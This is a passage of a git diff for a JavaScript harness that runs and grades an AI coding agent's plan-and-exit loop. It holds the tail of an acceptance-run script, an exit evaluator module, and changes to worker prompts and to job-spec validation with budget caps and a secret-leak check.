recursive: true, force: true }); // fresh index per row (F33 confound rule) + if (existsSync(join(wd, 'tests/testgen'))) throw new Error('reset left tests/testgen behind — row independence broken'); + const orch = readFileSync(join(wd, 'packages/soar/src/aurora_soar/orchestrator.py')); + if (!sha(orch).startsWith(FROZEN_SHA_PREFIX)) throw new Error('reset left orchestrator off the frozen hash'); + const status = git(['status', '--porcelain']); + if (status !== '') throw new Error(`reset left the tree dirty:\n${status}`); +} + +function seedPatient() { + for (const rel of SEED_FILES) { + const body = readFileSync(join(SEED_DIR, rel)); + if (sha(body) !== seedManifest[rel]) throw new Error(`seed drift vs MANIFEST.sha256: ${rel}`); + const dest = join(wd, 'tests/testgen', rel); + mkdirSync(dirname(dest), { recursive: true }); + writeFileSync(dest, body); + } +} + +/** which files changed vs the seed + which survivor functions they mention (17a's mechanical read) */ +function seedDelta() { + const root = join(wd, 'tests/testgen'); + /** @type {string[]} */ + const files = []; + (function walk(/** @type {string} */ d) { + if (!existsSync(d)) return; + for (const e of readdirSync(d, { withFileTypes: true })) { + const p = join(d, e.name); + if (e.isDirectory()) walk(p); + else if (e.name.endsWith('.py')) files.push(p); + } + })(root); + /** @type {Array<{file: string, status: string}>} */ + const changed = []; + let newOrModifiedContent = ''; + for (const f of files) { + const rel = relative(root, f); + const body = readFileSync(f); + const known = seedManifest[rel]; + if (!known) { changed.push({ file: rel, status: 'new' }); newOrModifiedContent += body.toString(); } + else if (sha(body) !== known) { changed.push({ file: rel, status: 'modified' }); newOrModifiedContent += body.toString(); } + } + for (const rel of SEED_FILES) { + if (!existsSync(join(root, rel))) changed.push({ file: rel, status: 'deleted' }); + } + const targeted = SURVIVOR_FUNCS.filter((fn) => newOrModifiedContent.includes(fn)); + return { changed, targeted }; +} + +const logLines = (/** @type {string} */ f) => existsSync(f) ? readFileSync(f, 'utf8').trimEnd().split('\n').filter(Boolean) : []; + +console.log(`spec ${specHash} approved by ${approvals[0].signer} runid ${runid}${dry ? ' [DRY]' : ` model ${MODEL} via anthropic-api`}`); +console.log(`caps $${spec.budgetUsd}/row capRuns=${CAP_RUNS} · hard-stop $${HARD_STOP_USD} REAL · threshold ${THRESHOLD}% · seed ${SEED_BASELINE_RATE}%\n`); + +/** @type {any[]} */ +const rows = []; +let cumulativeUsd = priorUsd; +let stop = null; +let launches = 0; + +const isAct = (/** @type {any} */ r) => r.valid && r.acted > 0; + +for (let i = 1; rows.filter(isAct).length < need && launches < runsRequested && !stop; i++) { + if (launches >= MAX_LAUNCHES) { stop = `launch backstop ${MAX_LAUNCHES} reached`; break; } + if (cumulativeUsd + spec.budgetUsd > HARD_STOP_USD) { + stop = `battery cap: $${cumulativeUsd.toFixed(4)} + $${spec.budgetUsd}/row would exceed $${HARD_STOP_USD} — row ${i} not launched`; + break; + } + launches++; + console.log(`\n== L${i} ==`); + resetPatient(); + seedPatient(); + console.log(` reset clean at ${COMMIT.slice(0, 12)} + seed copied (manifest-verified)`); + + const beforeGrader = logLines(graderLog).length; + const spineFile = join(spineDir, `l2accept-L${i}-${runid}.jsonl`); + const outcome = await runJob(spec, { + approvals, workdir: wd, provider, emit: makeSpine(spineFile), + shellCapUsd: spec.budgetUsd, capRuns: CAP_RUNS, closeTimeoutMs: CLOSE_TIMEOUT_MS, + }); + const audit = archiveAudit(join(spineDir, `l2accept-L${i}-${runid}-gate-audit.jsonl`)); + const delta = seedDelta(); + + const raw = readFileSync(spineFile, 'utf8'); + const events = raw.trimEnd().split('\n').filter(Boolean).map((l) => JSON.parse(l)); + const je = events.findLast((e) => e.type === 'job-end'); + const spentUsd = je?.spentUsd ?? null; + const spendComplete = je?.spendComplete; + const leaks = SECRET_PATTERNS.map((re) => new RegExp(re.source, re.flags.replace('g', '') + 'g')).flatMap((re) => raw.match(re) ?? []); + const casualty = events.some((e) => e.type === 'escalation' && e.category === 'provider-red'); + + const auditEntries = audit ? logLines(audit).map((l) => JSON.parse(l)) : []; + const acted = auditEntries.filter((e) => e.decision === 'allow' && (e.action?.type === 'write' || e.action?.type === 'edit')).length; + const rounds = events.filter((ev) => ev.type === 'worker-round' && ev.kind === 'turn').length; + + // did the AGENT compose the winning check exit? (the POC hardwired it; here it's a read) + const planAccepted = events.filter((e) => e.type === 'plan-accepted').map((e) => e.plan); + const planReferencedCheck = planAccepted.some((p) => (p?.steps ?? []).some((s) => (s.exit ?? []).some((x) => x.type === 'check-passes' && x.name === 'clean-run'))); + const planSteps = planAccepted.length ? (planAccepted[0].steps ?? []).length : 0; + const replanned = planAccepted.length > 1; + const checkRuns = events.filter((e) => e.type === 'check-run').map((e) => ({ name: e.name, verdict: e.verdict })); + + // grade = the outer grader's LAST log entry this run (precheck is slice[0]); the + // grader also runs inside the fix loop, so the final entry is the settled grade. + const graderSlice = logLines(graderLog).slice(beforeGrader).map((l) => JSON.parse(l)); + const precheck = graderSlice[0] ?? null; // runPlan's close precheck + const grade = graderSlice.length >= 2 ? graderSlice[graderSlice.length - 1] : null; // null = outer close never ran + const precheckOk = precheck != null && precheck.phase === 'verdict' && precheck.rate === SEED_BASELINE_RATE; + + const converted = acted > 0 && grade != null && grade.phase === 'verdict'; + const green45 = outcome === 'green' || (grade != null && grade.phase === 'verdict' && grade.rate >= THRESHOLD); + + /** @type {any} */ + const row = { + run: `L${i}`, outcome, casualty, acted, rounds, planSteps, planReferencedCheck, replanned, + checkRuns, precheck: precheck ? { phase: precheck.phase, rate: precheck.rate ?? null } : null, + grade: grade ? { phase: grade.phase, rate: grade.rate ?? null, killed: grade.killed ?? null } : null, + converted, green45, vsSeed: grade?.rate != null ? (grade.rate > SEED_BASELINE_RATE ? 'UP' : 'FLAT') : null, + delta, spentUsd, spendComplete, secretsClean: leaks.length === 0, spine: spineFile, audit, + }; + + // classification + if (casualty) { row.cls = 'CASUALTY'; row.valid = false; } + else if (!precheckOk) { row.cls = 'INSTRUMENT-STOP(precheck-drift)'; row.valid = false; stop = `L${i}: grader precheck read ${precheck ? `${precheck.phase}:${precheck.rate}` : 'null'} != verdict:${SEED_BASELINE_RATE} — drift, re-derive`; } + else if (acted === 0) { row.cls = 'L2-INERT'; row.valid = true; } + else if (outcome === 'plan-red') { row.cls = 'L2-PLAN-RED'; row.valid = true; } + else if (converted) { row.cls = 'L2-CONVERT'; row.valid = true; } + else { row.cls = 'L2-NO-CONVERT'; row.valid = true; } + + rows.push(row); + cumulativeUsd += row.spentUsd ?? 0; + const g = row.grade ? ` grade=${row.grade.phase}${row.grade.rate != null ? ':' + row.grade.rate + '%' : ''}` : ''; + console.log(` row outcome=${outcome} class=${row.cls} acted=${acted} rounds=${rounds} planSteps=${planSteps} planCheck=${planReferencedCheck}${row.replanned ? ' REPLANNED' : ''}${g} spent=${row.spentUsd == null ? 'UNKNOWN' : `${row.spendComplete === false ? '≥' : ''}$${row.spentUsd.toFixed(4)}`}`); + console.log(` read converted=${converted} green45=${green45} vsSeed=${row.vsSeed ?? '-'} checkRuns=${checkRuns.length} delta targeted=${delta.targeted.length}/${SURVIVOR_FUNCS.length}`); + if (!row.secretsClean) { stop = `L${i}: SPINE LEAK — the hard line is broken`; break; } + if (!dry && (row.spendComplete === false || row.spentUsd == null)) { stop = `L${i}: spend not governable (floor/unpriced) — the cap cannot govern it`; break; } +} + +resetPatient(); +console.log(`\npatient reset — clean at ${COMMIT.slice(0, 12)} (seed removed)`); + +// ---- frozen reading (2026-07-22a) ------------------------------------------- +const actRows = rows.filter(isAct); +const converts = actRows.filter((r) => r.cls === 'L2-CONVERT').length; +const inert = rows.filter((r) => r.cls === 'L2-INERT').length; +const greens45 = rows.filter((r) => r.green45).length; +let reading; +if (stop && stop.includes('precheck-drift')) reading = 'VOID: grader precheck drift — instrument, no premise read'; +else if (need !== N_ACT) reading = `CONTINUATION: ${actRows.length} acting row(s) collected this invocation — combine with prior banked rows for the frozen n=${N_ACT} read (do not read acceptance from this run alone)`; +else if (actRows.length < N_ACT) reading = `INCOMPLETE (${actRows.length}/${N_ACT} acting rows) — report rows in hand, no top-up without hamr`; +else if (converts >= 2) reading = 'ACCEPTANCE MET: the real plan flow reproduces the clean-wall conversion (>=2/3 acting rows reach a graded suite) — Layer 2 machinery holds'; +else if (converts === 0) reading = 'ACCEPTANCE FAILS: the built flow did not reproduce conversion — the stop is the result; findings entry; redesign with hamr'; +else reading = 'MIXED (1 of 3) — report to hamr, no unilateral extension'; + +const results = { + runid, specHash, commit: COMMIT, dry, model: dry ? null : MODEL, provider: 'anthropic-api', + threshold: THRESHOLD, seedBaselineRate: SEED_BASELINE_RATE, capRuns: CAP_RUNS, + hardStopUsd: HARD_STOP_USD, cumulativeUsd, stop, launches, rows, + summary: { + actRows: actRows.length, converts, noConvert: actRows.filter((r) => r.cls === 'L2-NO-CONVERT').length, + planReds: rows.filter((r) => r.cls === 'L2-PLAN-RED').length, inert, + casualties: rows.filter((r) => r.cls === 'CASUALTY').length, + planComposedCheck: actRows.filter((r) => r.planReferencedCheck).length, + greens45, grades: actRows.map((r) => r.grade?.rate ?? null), vsSeed: actRows.map((r) => r.vsSeed ?? null), + reading, + }, +}; +const resultsFile = join(spineDir, `l2accept-results-${runid}.json`); +writeFileSync(resultsFile, JSON.stringify(results, null, 2) + '\n'); + +console.log('\nrun outcome class acted rounds planCheck grade green45 spent'); +for (const r of rows) { + const g = r.grade ? `${r.grade.phase}${r.grade.rate != null ? ':' + r.grade.rate + '%' : ''}` : '-'; + console.log(`${r.run.padEnd(4)} ${String(r.outcome ?? '-').padEnd(14)} ${String(r.cls).padEnd(16)} ${String(r.acted ?? '-').padEnd(6)} ${String(r.rounds ?? '-').padEnd(7)} ${String(r.planReferencedCheck).padEnd(10)} ${g.padEnd(13)} ${String(r.green45).padEnd(8)} ${r.spentUsd == null ? '-' : `$${r.spentUsd.toFixed(4)}`}`); +} +console.log(`\nacting ${actRows.length} · CONVERT ${converts} · INERT ${inert} · greens@${THRESHOLD} ${greens45} · plan-composed-check ${results.summary.planComposedCheck}/${actRows.length} · spend $${cumulativeUsd.toFixed(4)} of $${HARD_STOP_USD}`); +console.log(`grades: ${JSON.stringify(results.summary.grades)} (POC was 27.5/40/37.5, 0 at ${THRESHOLD})`); +console.log(`reading: ${reading}`); +if (stop) console.log(`STOP: ${stop}`); +console.log(`results: ${resultsFile}`); +process.exit(0); diff --git a/src/exits.js b/src/exits.js new file mode 100644 index 0000000..8af4fbe --- /dev/null +++ b/src/exits.js @@ -0,0 +1,163 @@ +// Layer 2: the exit evaluator — the SHELL's own fixed code for the closed +// exit menu (PRD v1.12 §3). An exit is declarative data; nothing here ever +// executes agent-authored text. Doctrine wired in, not promised: +// +// - exits verify FORM, not truth: progress gates only; the operator's close +// stays the one arbiter (checks decide nothing, mint nothing). +// - `tree-changed` reads OUTCOME — real bytes vs a pre-step snapshot taken +// by `snapshotScope` — never git status (always shows the planted bug, +// F45) and never gate intent (the F43 identical-refire trap: an allowed +// write that lands the same bytes is NOT a change). +// - a failing exit's detail is a MECHANICAL gap (a named wall, a count) — +// the genre that converts (F38/F46); details carry names and counts only, +// never file bodies (they ride the spine, which is append-only forever). +// - `check-passes` delegates through the `runCheck` seam the runner wires +// to the full runClose machinery; the evaluator itself never spawns. An +// unwired or throwing check fails CLOSED (the broken-close class: an +// unrunnable check is a stop, never a silent pass). + +import { createHash } from 'node:crypto'; +import { readFile, readdir } from 'node:fs/promises'; +import { join } from 'node:path'; +import { globToPrefix } from './validate.js'; + +/** The check gap is ALREADY bounded upstream by runClose's boundGap (head + + * gapKeep block ≤ 8192 + tail ≈ 10KB, with the failing-test NAMES preserved). + * The evaluator must NOT re-truncate it: a 400-char clamp deletes exactly those + * `not ok`/`FAILED` names — the mechanical gap the F46 conversion mechanism + * feeds the worker (F28 reintroduced). This cap is a defensive backstop above + * boundGap's own envelope: a normal bounded gap passes through intact, and only + * a pathological seam that returned an unbounded gap would ever be trimmed. */ +const CHECK_GAP_MAX = 12000; + +/** @typedef {{ type: string, pass: boolean, detail?: string, fault?: string }} ExitResult + * `fault` present means the INSTRUMENT could not judge (unwired snapshot/seam, + * a check in runClose's forbidden zone) — it carries the runClose verdict name + * ('failed'|'timed-out'|'killed'|'crashed') so the micro-loop escalates through + * the same CLOSE_FAULTS taxonomy instead of feeding a fake gap to the worker. + * A plain pass:false with no fault is honest worker feedback. */ + +/** + * Snapshot the file state under a scope prefix — the "before" side of + * `tree-changed`. Content hashes, not mtimes: only real bytes count as + * outcome. A scope directory that does not exist yet snapshots empty (the + * step creating it IS the change). Never throws on a missing dir. + * @param {string} dir absolute workdir (the run directory) + * @param {string} scope a validated scope glob (e.g. `tests/**`) + * @returns {Promise>} relative path → sha256 + */ +export async function snapshotScope(dir, scope) { + const prefix = globToPrefix(scope); + /** @type {Map} */ + const snap = new Map(); + /** @type {string[]} */ + let entries; + try { + entries = /** @type {string[]} */ (await readdir(join(dir, prefix), { recursive: true, encoding: 'utf8' })); + } catch { + return snap; // missing scope dir = empty snapshot, never a throw + } + for (const rel of entries) { + const full = join(dir, prefix, rel); + let body; + try { body = await readFile(full); } catch { continue; } // directories and vanished files skip + snap.set(`${prefix}/${rel.replaceAll('\\', '/')}`, createHash('sha256').update(body).digest('hex')); + } + return snap; +} + +/** + * Evaluate a step's exits — AND-only (decision 8): the step passes iff EVERY + * listed exit passes. All exits are evaluated (never short-circuit): the gap + * must name every wall, not the first one hit. + * @param {Array>} exits validated exit items + * @param {{ dir: string, snapshot?: Map, runCheck?: (name: string) => Promise<{pass: boolean, gap?: string}> }} ctx + * `dir`: the run directory; `snapshot`: the pre-step `snapshotScope` result + * (required by tree-changed — absent fails closed); `runCheck`: the runner's + * runClose-backed seam (required by check-passes — absent fails closed). + * @returns {Promise<{ pass: boolean, results: ExitResult[] }>} + */ +export async function evalExits(exits, { dir, snapshot, runCheck }) { + /** @type {ExitResult[]} */ + const results = []; + for (const e of exits) { + results.push(await evalOne(e, { dir, snapshot, runCheck })); + } + return { pass: results.every((r) => r.pass), results }; +} + +/** + * @param {Record} e + * @param {{ dir: string, snapshot?: Map, runCheck?: (name: string) => Promise<{pass: boolean, gap?: string}> }} ctx + * @returns {Promise} + */ +async function evalOne(e, { dir, snapshot, runCheck }) { + if (e.type === 'artifact-written') { + let body; + try { body = await readFile(join(dir, e.path), 'utf8'); } catch { + return { type: e.type, pass: false, detail: `${e.path} was not written (does not exist)` }; + } + if (body.length === 0) return { type: e.type, pass: false, detail: `${e.path} is empty — a zero-byte artifact is not progress` }; + if (e.pattern !== undefined && !new RegExp(e.pattern, 'm').test(body)) { + return { type: e.type, pass: false, detail: `${e.path} exists but does not match the declared pattern ${e.pattern}` }; + } + return { type: e.type, pass: true }; + } + + if (e.type === 'tree-changed') { + if (!(snapshot instanceof Map)) { + // fail CLOSED as a FAULT: without the before-side this instrument is + // blind — it must never read "changed" (F45) and never feed the miss to + // the worker as if it were inaction + return { type: e.type, pass: false, fault: 'failed', detail: `no pre-step snapshot for ${e.scope} — the tree-changed instrument is unwired (instrument fault, not worker inaction)` }; + } + const now = await snapshotScope(dir, e.scope); + // deletions count only WITHIN this exit's own scope: the step's `snapshot` + // is merged across every tree-changed scope, so an unscoped keys() walk + // would read a SIBLING scope's files (absent from this re-scan) as deletions + // and pass an unchanged scope by borrowing the other's change. + const prefix = globToPrefix(e.scope); + const underScope = (/** @type {string} */ p) => p === prefix || p.startsWith(`${prefix}/`); + let changed = 0; + for (const [path, hash] of now) if (snapshot.get(path) !== hash) changed++; + for (const path of snapshot.keys()) if (underScope(path) && !now.has(path)) changed++; // deletions are real changes + if (changed === 0) { + return { type: e.type, pass: false, detail: `0 files changed under ${e.scope} — the tree is byte-identical to the step start (an identical re-write is not a change)` }; + } + return { type: e.type, pass: true, detail: `${changed} file(s) changed under ${e.scope}` }; + } + + if (e.type === 'json-valid') { + let body; + try { body = await readFile(join(dir, e.path), 'utf8'); } catch { + return { type: e.type, pass: false, detail: `${e.path} was not written (does not exist)` }; + } + try { JSON.parse(body); } catch (err) { + return { type: e.type, pass: false, detail: `${e.path} is not valid JSON: ${String(/** @type {Error} */ (err).message).slice(0, 200)}` }; + } + return { type: e.type, pass: true }; + } + + if (e.type === 'check-passes') { + if (typeof runCheck !== 'function') { + return { type: e.type, pass: false, fault: 'failed', detail: `check "${e.name}" cannot run — runCheck is not wired (instrument fault: an unrunnable check is a stop, never a silent pass)` }; + } + try { + const r = await runCheck(e.name); + if (r.pass) return { type: e.type, pass: true }; + // the seam's fault (a runClose forbidden-zone verdict) rides through by + // NAME: 'crashed' keeps its F32 routing (worker-crash after writes — + // the F46 broken-test mechanism), 'timed-out' keeps its own decision + if (typeof (/** @type {any} */ (r).fault) === 'string') { + return { type: e.type, pass: false, fault: /** @type {any} */ (r).fault, detail: `check "${e.name}": ${(r.gap ?? '').slice(0, CHECK_GAP_MAX)}` }; + } + return { type: e.type, pass: false, detail: `check "${e.name}" red: ${(r.gap ?? '').slice(0, CHECK_GAP_MAX)}` }; + } catch (err) { + return { type: e.type, pass: false, fault: 'failed', detail: `check "${e.name}" crashed the seam: ${String(/** @type {Error} */ (err).message).slice(0, 200)}` }; + } + } + + // belt — the validator already reds unknown types; the evaluator must not + // silently pass what it cannot judge + return { type: String(e.type), pass: false, fault: 'failed', detail: `unknown exit type "${e.type}" — the evaluator cannot judge it (fail closed)` }; +} diff --git a/src/index.js b/src/index.js index 0cb3960..8fd2a8c 100644 --- a/src/index.js +++ b/src/index.js @@ -16,7 +16,13 @@ export { makeSpine } from './spine.js'; // exports map admits only ".", so a deep import cannot reach them). export { ralph, runClose, CLOSE_FAULTS } from './ralph.js'; export { validateConfig, diffPaths, globToPrefix, scanSecrets, LOOP_SHAPES, SLOTS, VERBS } from './validate.js'; -export { validateJob, jobSpecHash, checkApproval, CLOSE_TYPES, CLASSES, CLASS_BY_CLOSE, GOLD_COMPARE, CADENCE_UNITS, PROVIDERS, CONDITION_KEYS, STEP_MODES, TOOL_MENU, LOCKED_TOOLS } from './job.js'; +export { validateJob, jobSpecHash, checkApproval, CLOSE_TYPES, CLASSES, CLASS_BY_CLOSE, GOLD_COMPARE, CADENCE_UNITS, PROVIDERS, CONDITION_KEYS, STEP_MODES, TOOL_MENU, LOCKED_TOOLS, VERDICT_TYPES, LOCKED_VERDICTS } from './job.js'; +// Layer 2: the plan-v1 validator — the agent-authored plan doc's gate; the +// two-doc split's third validator never happens (plan-v1 gates the PLAN, the +// job spec stays the arbiter's only home). +export { validatePlan, EXIT_TYPES, MAX_EXITS_PER_STEP, MAX_PLAN_STEPS, WRITE_VERBS } from './plan.js'; +export { snapshotScope, evalExits } from './exits.js'; +export { runPlan } from './planrun.js'; export { interpret, STALL_REDS } from './interpret.js'; export { extractRules, MAX_RULES, MAX_RULE_CHARS } from './extract.js'; export { runJob } from './run.js'; diff --git a/src/interpret.js b/src/interpret.js index d914f8c..f4784b0 100644 --- a/src/interpret.js +++ b/src/interpret.js @@ -43,18 +43,38 @@ const PERSONA = 'You are a senior engineer. Reply with ONLY the complete content // compound: that run's context grew 2k → 121k tokens and its last round cost $0.25. // Telling the worker it will be re-run with the close's verdict makes an early, // cheap, wrong attempt the rational move — which is exactly what the loop wants. -const PERSONA_TOOLS = 'You are a senior engineer working in a repository through file tools. ' +export const PERSONA_TOOLS = 'You are a senior engineer working in a repository through file tools. ' + 'ALWAYS use absolute paths — relative paths resolve against the process, not the repository, and will be denied. ' + 'You are ONE attempt inside an automated loop: when you finish, a test suite runs and, if it still fails, you are called again with its output. ' + 'So do not try to be certain before acting. Read only what you need to form your best hypothesis, make the change with the write tool, and stop. ' + 'A wrong cheap attempt is corrected by the next round; exhaustive reading is not — every file you read is re-sent on every later round and the run has a hard budget it can exhaust before you ever write. ' + 'Make the required changes with the write tool, then reply with a short summary of what you changed. Never put file contents in your reply.'; +// The retrieval verbs only pay if the worker reaches for them INSTEAD of paging a file. +// F18 measured the failure they exist to fix: the worker read one 117 KB file NINE times +// and dragged 1.37 MB of source through context to reach an 8-line function. The tool +// descriptions carry the mechanics; the persona has to carry the STRATEGY, or a model +// with a familiar `read` and an unfamiliar `recall` will simply keep reading. +// (Module-level + exported since Layer 2: the plan-step worker shares the SAME +// personas/strategies — two spellings of the loop contract would drift, F16.) +export const RETRIEVAL_STRATEGY = '\nYou also have a repository index. To read a function, do NOT read its whole file: ' + + 'call ctx_recall with the function name to get a pointer, then ctx_get with that pointer to read that function alone ' + + '(it comes with its doc-comment, which states what the function is SUPPOSED to do — compare it against what the code does). ' + + 'Reserve shell_read for whole files that are genuinely small, and for files you cannot name a symbol in yet. ' + + 'Search only finds what you can NAME: a failing test names the symptom, not the cause, so read the failing test first, ' + + 'see which function it calls, and recall THAT.'; +// BA-13: like retrieval, the edit verb only pays if the worker reaches for it INSTEAD +// of a whole-file rewrite. F31 measured the default: 4 of 5 big-file whole-writes +// broke the tree, and every one was a rewrite to change ~one line. The tool +// description carries the mechanics; the persona carries the strategy. +export const EDIT_STRATEGY = '\nPrefer the edit tool over whole-file writes: quote the EXACT text to change (it must match exactly once) and its replacement. ' + + 'Rewriting a whole file to change one line is how trees get broken and budgets get burned — reserve the write tool for genuinely new files.'; + // ---- tool mode (2b): the spec-side grant menu mapped to the underlying tools ---- // read/grep/write are bare-agent's shell tools; recall/get are litectx's retrieval // verbs (F19), composed from the SAME LiteCtx the memory hooks already use. -const TOOL_BY_VERB = Object.freeze({ read: 'shell_read', grep: 'shell_grep', write: 'shell_write', edit: 'shell_edit', recall: 'ctx_recall', get: 'ctx_get' }); -const CTX_TOOLS = Object.freeze(['ctx_recall', 'ctx_get']); +export const TOOL_BY_VERB = Object.freeze({ read: 'shell_read', grep: 'shell_grep', write: 'shell_write', edit: 'shell_edit', recall: 'ctx_recall', get: 'ctx_get' }); +export const CTX_TOOLS = Object.freeze(['ctx_recall', 'ctx_get']); /** * The retrieval pair (F19). `shell_read` cannot seek — it starts at byte zero — so a @@ -70,7 +90,7 @@ const CTX_TOOLS = Object.freeze(['ctx_recall', 'ctx_get']); * bad range) looks exactly like one that worked, and the worker's fallback to a * whole-file read looks like a free choice instead of a forced one. */ -function createCtxTools(lc, workdir, emit) { +export function createCtxTools(lc, workdir, emit) { return [ { name: 'ctx_recall', @@ -148,7 +168,7 @@ function createCtxTools(lc, workdir, emit) { /** @param {string} p */ const expandHome = (p) => (p === '~' || p.startsWith('~/')) ? join(homedir(), p.slice(1)) : p; /** @param {string} name @param {any} args @param {string} [workdir] */ -const toolAction = (name, args, workdir) => { +export const toolAction = (name, args, workdir) => { if (name === 'shell_write') return { type: 'write', path: resolve(expandHome(String(args?.path ?? ''))), args: { bytes: String(args?.content ?? '').length } }; // shell_edit (BA-13) is judged as bareguard's own 'edit' action type — the SAME // fs.writeScope fence as write, decided upstream (bareguard FS_TYPES). `bytes` is @@ -558,23 +578,6 @@ export async function interpret(configRaw, { task, target, close, workdir, capRu })() : []; - // The retrieval verbs only pay if the worker reaches for them INSTEAD of paging a file. - // F18 measured the failure they exist to fix: the worker read one 117 KB file NINE times - // and dragged 1.37 MB of source through context to reach an 8-line function. The tool - // descriptions carry the mechanics; the persona has to carry the STRATEGY, or a model - // with a familiar `read` and an unfamiliar `recall` will simply keep reading. - const RETRIEVAL_STRATEGY = '\nYou also have a repository index. To read a function, do NOT read its whole file: ' - + 'call ctx_recall with the function name to get a pointer, then ctx_get with that pointer to read that function alone ' - + '(it comes with its doc-comment, which states what the function is SUPPOSED to do — compare it against what the code does). ' - + 'Reserve shell_read for whole files that are genuinely small, and for files you cannot name a symbol in yet. ' - + 'Search only finds what you can NAME: a failing test names the symptom, not the cause, so read the failing test first, ' - + 'see which function it calls, and recall THAT.'; - // BA-13: like retrieval, the edit verb only pays if the worker reaches for it INSTEAD - // of a whole-file rewrite. F31 measured the default: 4 of 5 big-file whole-writes - // broke the tree, and every one was a rewrite to change ~one line. The tool - // description carries the mechanics; the persona carries the strategy. - const EDIT_STRATEGY = '\nPrefer the edit tool over whole-file writes: quote the EXACT text to change (it must match exactly once) and its replacement. ' - + 'Rewriting a whole file to change one line is how trees get broken and budgets get burned — reserve the write tool for genuinely new files.'; const usesCtx = toolDefs.some((/** @type {{name: string}} */ t) => CTX_TOOLS.includes(t.name)); const usesEdit = toolDefs.some((/** @type {{name: string}} */ t) => t.name === 'shell_edit'); const loop = new Loop({ diff --git a/src/job.js b/src/job.js index e2a35d8..9ad557e 100644 --- a/src/job.js +++ b/src/job.js @@ -51,6 +51,17 @@ export const TOOL_MENU = Object.freeze(['read', 'grep', 'write', 'edit', 'recall * menu. Requesting one is a DISTINCT `request-red` (module 4) — the ledger * counts admission demand, and a generic invalid-value would bury it as a typo. */ export const LOCKED_TOOLS = Object.freeze(['run']); +/** Layer 2 (design record 2026-07-21, decision 5): the verdict-type radio of + * the four-field plan shape. v1 ADMITS only `green`; soft-green/hitl are + * declared-but-locked — declaring one is a `request-red` (the tool-menu + * pattern: disclosure ≠ admission), so the ledger counts the demand and the + * non-code rung later fills a declared slot instead of reshaping the schema. */ +export const VERDICT_TYPES = Object.freeze(['green', 'soft-green', 'hitl']); +export const LOCKED_VERDICTS = Object.freeze(['soft-green', 'hitl']); +/** which close CLASS a declared verdictType demands — the close hierarchy one + * level up: the same laundering guard as CLASS_BY_CLOSE, applied to the plan + * shape's single close (green on a rubric would be a fake-hard verdict). */ +const CLASS_BY_VERDICT = Object.freeze({ green: 'hard', 'soft-green': 'soft', hitl: 'hitl' }); export const CADENCE_UNITS = Object.freeze(['hour', 'day', 'week']); /** SP-2: API-first; local deferred (PRD §5/§8). `clipipe-subscription` (F42, * bare-agent 0.32.0 tool mode): the CLI as a bare turn-provider on a Claude @@ -62,7 +73,11 @@ export const PROVIDERS = Object.freeze(['anthropic-api', 'clipipe-subscription'] * candidate at N3. `provider` is part of the key by definition (top-level, * not duplicated here). */ export const CONDITION_KEYS = Object.freeze(['providerPath', 'closeVerbosity', 'taskFraming', 'scaffold']); -const JOB_FIELDS = ['schema', 'job', 'description', 'provider', 'conditions', 'cadence', 'budgetUsd', 'writeScope', 'steps', 'escalation']; +const JOB_FIELDS = ['schema', 'job', 'description', 'provider', 'conditions', 'cadence', 'budgetUsd', 'writeScope', 'steps', 'escalation', 'goal', 'verdictType', 'close', 'checks', 'tools']; +/** the four-field plan shape's core (decision 5) — presence of any of these + * declares the shape; `tools` (the ceiling) rides the shape but alone does not + * declare it, so a legacy spec carrying it gets a pointed red, not a conflict */ +const PLAN_CORE_FIELDS = ['goal', 'verdictType', 'close', 'checks']; /** exact field set per close type — anything else is an unknown-field red * (freeform code, script bodies, and minting claims all land there) */ const CLOSE_FIELDS = { @@ -71,6 +86,10 @@ const CLOSE_FIELDS = { rubric: ['type', 'criteria'], hitl: ['type', 'prompt'], }; +/** a named check (decision 1) IS the predicate-close body plus a name — same + * fields, same validator, same runClose machinery (a second command shape + * would be the F9 two-transforms class one level up) */ +const CHECK_FIELDS = ['name', 'cmd', 'expect', 'judged', 'gapKeep']; const SLUG_RE = /^[a-z0-9][a-z0-9-]*$/; /** @typedef {{code: string, path: string, detail?: string, verb?: string}} Red — `verb` rides request-reds as structured data (the ledger keys on it, never on prose) */ @@ -162,8 +181,22 @@ export function validateJob(input, { shellCapUsd = 2 } = {}) { if (esc.mode !== 'decision-ready') red('invalid-value', 'escalation.mode', 'must be "decision-ready"'); } - // 4. steps + the close chain - if (!Array.isArray(spec.steps) || spec.steps.length === 0) { + // 4. the two shapes (design record 2026-07-21, decisions 5+6): EITHER the + // legacy operator-authored steps[] chain (co-existing scaffolding, staged + // sunset — archives alongside config-v1 when the Layer 2 path proves itself) + // OR the four-field plan shape (goal/verdictType/close/checks[]) where the + // AGENT authors the step plan at run time. Never both: a spec carrying both + // would let one shape ride the other as a smuggle channel. + const hasSteps = spec.steps !== undefined; + const hasPlanCore = PLAN_CORE_FIELDS.some((f) => spec[f] !== undefined); + if (hasSteps && hasPlanCore) { + red('shape-conflict', 'steps', 'EITHER operator-authored steps[] OR the plan shape (goal/verdictType/close/checks[]) — never both (design record 2026-07-21, decision 6)'); + } else if (!hasSteps) { + if (hasPlanCore || spec.tools !== undefined) validatePlanShape(spec, red, reds); + else red('missing-required', 'steps', 'one shape is required: operator-authored steps[] (legacy, staged sunset) or the plan shape goal/verdictType/close/checks[]'); + } else if (spec.tools !== undefined) { + red('invalid-value', 'tools', 'the tool ceiling is a plan-shape field — a legacy steps[] spec grants tools per step'); + } else if (!Array.isArray(spec.steps) || spec.steps.length === 0) { red('missing-required', 'steps', 'non-empty array — a job without closes is ungated spend'); } else { const seen = new Set(); @@ -208,90 +241,7 @@ export function validateJob(input, { shellCapUsd = 2 } = {}) { if (!isObj(s.close)) { red('missing-required', `${at}.close`, 'every step names its close — a step without one is ungated spend'); return; } const close = s.close; - if (!CLOSE_TYPES.includes(close.type)) { - red('close-type', `${at}.close.type`, `menu: ${CLOSE_TYPES.join('|')} — a close is data, never code`); - return; - } - // per-type contracts — fixed menus only - if (close.type === 'predicate') { - if (!isNonEmptyString(close.cmd)) red('missing-required', `${at}.close.cmd`); - // the runner executes cmd as whitespace-split argv with NO shell: quote - // characters imply shell semantics the split cannot honor — honest - // refusal beats silent misparse (N2 design default) - else if (/["']/.test(close.cmd)) red('invalid-value', `${at}.close.cmd`, 'quote characters are inexpressible: cmd runs as whitespace-split argv, no shell'); - else if (close.cmd !== close.cmd.trim()) red('invalid-value', `${at}.close.cmd`, 'leading/trailing whitespace — argv splits on whitespace and an empty argv[0] cannot spawn; honest refusal beats a silent misparse'); - if (!Number.isInteger(close.expect)) red('invalid-value', `${at}.close.expect`, 'integer exit code'); - // The judgment-rendered signal (PRD v1.11, optional). Exit code alone - // cannot separate "the suite ran and failed" from "the suite crashed at - // load" — they are byte-identical at 